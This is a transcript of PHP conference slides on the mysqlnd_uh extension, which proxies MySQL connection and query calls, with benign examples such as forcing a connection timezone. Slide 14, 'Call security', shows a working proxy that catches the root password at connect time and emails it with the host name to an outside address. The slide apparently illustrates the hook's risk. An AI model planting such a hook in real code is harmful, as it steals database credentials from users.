1. mysqlnd_uh
A wild and wacky mysql extension

2. Who Am I?
• Nathaniel McHugh
• Ibuildings Sheffield
• Zend Certified PHP Developer
• Oracle certified MySQL Developer
• Like writing extensions like databases
• Never do anything useful

3. What is mysqlnd?
• PHP Extension created by owners of MySQL for PHP to
query MySQL databases
• It is not an alternative to the three MySQL extensions
existing namely, mysql, mysqli and pdo_mysql
• Although it is a PHP extension it exports no new PHP
functions

4. A diagram: all is now clear

5. Libmysql vs mysqlnd
• C Library • PHP Extension
• GPL License • PHP License
• Linked at compile time • Included in PHP source
• Many Failing tests • Fewer failing tests
• May perform better
around buffered queries

6. How do I get mysqlnd?
The libysql way
--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]
e.g. on ubuntu this will be /usr/bin looking for mysql_config
The mysqlnd way
--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-
mysql=mysqlnd --with-mysql-sock[=DIR]

7. How do I get mysqlnd?
The libysql way
--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]
e.g. on ubuntu this will be /usr/bin looking for mysql_config
The mysqlnd way
--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-
mysql=mysqlnd --with-mysql-sock[=DIR]

8. Plugin Architecture
• mysqlnd_statistics.c
• mysqlnd.c
• mysqlnd_result.c
• mysqlnd_result_meta.c
• mysqlnd_ps.c
• mysqlnd_net.c
• mysqlnd_wireprotocol.c

9. How to extend mysqlnd
/* a place to store orginal function table */
struct st_mysqlnd_conn_methods org_methods;
void minit_register_hooks(TSRMLS_D) {
/* active function table */
struct st_mysqlnd_conn_methods * current_methods
= mysqlnd_conn_get_methods();
/* backup original function table */
memcpy(&org_methods, current_methods,
sizeof(struct st_mysqlnd_conn_methods);
/* install new methods */
current_methods->query = MYSQLND_METHOD(my_conn_class, query);
}
MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn,
const char *query, unsigned int query_len TSRMLS_DC) {
php_printf("my_conn_class::query(query = %s)n", query);
query = "SELECT 'query rewritten' FROM DUAL";
query_len = strlen(query);
return org_methods.query(conn, query, query_len); /* return with call to parent */
}

10. Enter mysqlnd_uh

11. Real world(ish) use case
Amazon RDS does not give users the SUPER privilege
and so you cannot change the timezone globally
Answer: set the timezone for every connection

12. mysqlnd_uh to the rescue
<?php
class proxy extends MysqlndUhConnection {
public function connect($res, $host, $user, $passwd, $db, $port, $sock
et, $mysql_flags) {
$ret = parent::connect($res, $host, $user, $passwd, $db, $port, $soc
ket, $mysql_flags);
$query = "SET time_zone = 'Europe/Moscow'";
parent::query($res, $query);
return $ret;
}
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");
$result = $mysqli->query("SELECT NOW()");
var_dump(mysqli_fetch_all($result));

13. Plugin Architecture
• mysqlnd_statistics.c
• mysqlnd.c ✔
• mysqlnd_result.c ✔
• mysqlnd_result_meta.c
• mysqlnd_ps.c ✔
• mysqlnd_net.c
• mysqlnd_wireprotocol.c

14. Call security
<?php
class proxy extends MysqlndUhConnection {
public function connect($res, $host, $user, $passwd, $db, $port, $so
cket, $mysql_flags) {
if ('root' == $user) {
mail('nat@fishtrap.co.uk',
'Subject stolen root password',
"Hey root password on $host is ".
"'$passwd' lets steal their data");
}
$ret = parent::connect($res, $host, $user, $passwd, $db, $port, $s
ocket, $mysql_flags);
return $ret;
}
}
mysqlnd_uh_set_connection_proxy(new proxy());
// ...
$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");
mysqlnd_uh.enable = 1;

15. Another example
<?php
class resultProxy extends MysqlndUhResult {
private $_rows = array();
public function __construct($rows) {
$this->_rows = $rows;
}
public function fetchInto($res, &$rows, $flags, $extension) {
if (!empty($this->_rows)) {
$rows = $this->_rows;
unset($this->_rows);
} else {
$rows = null;
}
}
}
class proxy extends MysqlndUhConnection {
public function query($res, $query) {
$query = "SELECT 'Hello' AS _msg FROM DUAL";
return parent::query($res, $query);
}
}
mysqlnd_uh_set_connection_proxy(new proxy());
mysqlnd_uh_set_result_proxy(new resultProxy(range('a', 'm')));
$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");
var_dump($mysqli->query("Going to replace this")->fetch_all());

16. Questions I can answer?